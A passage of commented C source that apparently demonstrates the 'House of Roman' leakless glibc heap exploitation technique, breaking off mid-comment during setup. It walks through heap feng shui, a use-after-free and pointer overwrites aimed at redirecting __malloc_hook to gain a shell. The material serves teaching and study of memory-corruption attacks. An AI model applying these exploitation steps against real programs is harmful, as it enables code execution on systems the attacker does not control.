The first step is to get a pointer inside of __malloc_hook. This
is done by creating a fastbin bin that looks like the following:
ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
(with a relative overwrite) to point to __malloc_hook.
The next step is to run an unsorted bin attack on the __malloc_hook
(which is now controllable from the previous attack). Again, we run
the unsorted_bin attack by altering the chunk->bk with a relative overwrite.
Finally, after launching the unsorted_bin attack to put a libc value
inside of __malloc_hook, we use another relative overwrite on the
value of __malloc_hook to point to a one_gadget, system or some other function.
Now, the next time we run malloc we pop a shell! :)
However, this does come at a cost: 12 bits of randomness must be
brute forced (0.02% chance) of working.
The original write up for the *House of Roman* can be found at
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.
This technique requires the ability to edit fastbin and unsorted bin
pointers via UAF or overflow of some kind. Additionally, good control
over the allocations sizes and freeing is required for this technique.
*/
char
* introduction =
"\nWelcome to the House of Roman\n\n"
"This is a heap exploitation technique that is LEAKLESS.\n"
"There are three stages to the attack: \n\n"
"1. Point a fastbin chunk to __malloc_hook.\n"
"2. Run the unsorted_bin attack on __malloc_hook.\n"
"3. Relative overwrite on main_arena at __malloc_hook.\n\n"
"All of the stuff mentioned above is done using two main concepts:\n"
"relative overwrites and heap feng shui.\n\n"
"However, this technique comes at a cost:\n"
"12-bits of entropy need to be brute forced.\n"
"That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n"
;
puts
(introduction);
init();
/*
Part 1: Fastbin Chunk points to __malloc_hook
Getting the main_arena in a fastbin chunk ordering is the first step.
This requires a ton of heap feng shui in order to line this up properly.
However, at a glance, it looks like the following:
First, we need to get a chunk that is in the fastbin with a pointer to
a heap chunk in the fd.
Second, we point this chunk to a pointer to LibC (in another heap chunk).
All of the setup below is in order to get the configuration mentioned
above setup to perform the relative overwrites. ";
Getting the pointer to libC can be done in two ways:
- A split from a chunk in the small/large/unsorted_bins
gets allocated to a size of 0x70.
- Overwrite the size of a small/large chunk used previously to 0x71.
For the sake of example, this uses the first option because it
requires less vulnerabilities.
*/
puts
(
"Step 1: Point fastbin chunk to __malloc_hook\n\n"
);
puts
(
"Setting up chunks for relative overwrites with heap feng shui.\n"
);
// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.
uint8_t* fastbin_victim =
malloc
(0x60);
// Allocate this in order to have good alignment for relative
// offsets later (only want to overwrite a single byte to prevent
// 4 bits of brute on the heap).
malloc
(0x80);
// Offset 0x100
uint8_t* main_arena_use =
malloc
(0x80);
// Offset 0x190
// This ptr will be used for a relative offset on the 'main_arena_use' chunk
uint8_t* relative_offset_heap =
malloc
(0x60);
// Free the chunk to put it into the unsorted_bin.
// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
free
(main_arena_use);
/*
Get part of the unsorted_bin chunk (the one that we just freed).
We want this chunk because the fd and bk of this chunk will
contain main_arena ptrs (used for relative overwrite later).
The size is particularly set at 0x60 to put this into the 0x70 fastbin later.
This has to be the same size because the __malloc_hook fake
chunk (used later) uses the fastbin size of 0x7f. There is
a security check (within malloc) that the size of the chunk matches the fastbin size.
*/
puts
(
"Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n"
);
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
uint8_t* fake_libc_chunk =
malloc
(0x60);
//// NOTE: This is NOT part of the exploit... \\\
// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC.
long
long
__malloc_hook = ((
long
*)fake_libc_chunk)[0] - 0xe8;
// We need the filler because the overwrite below needs
// to have a ptr in the fd slot in order to work.
//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later.
free
(relative_offset_heap);
/*
Create a UAF on the chunk. Recall that the chunk that fastbin_victim
points to is currently at the offset 0x190 (heap_relative_offset).
*/
free
(fastbin_victim);
/*
Now, we start doing the relative overwrites, since that we have
the pointers in their proper locations. The layout is very important to
understand for this.
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout: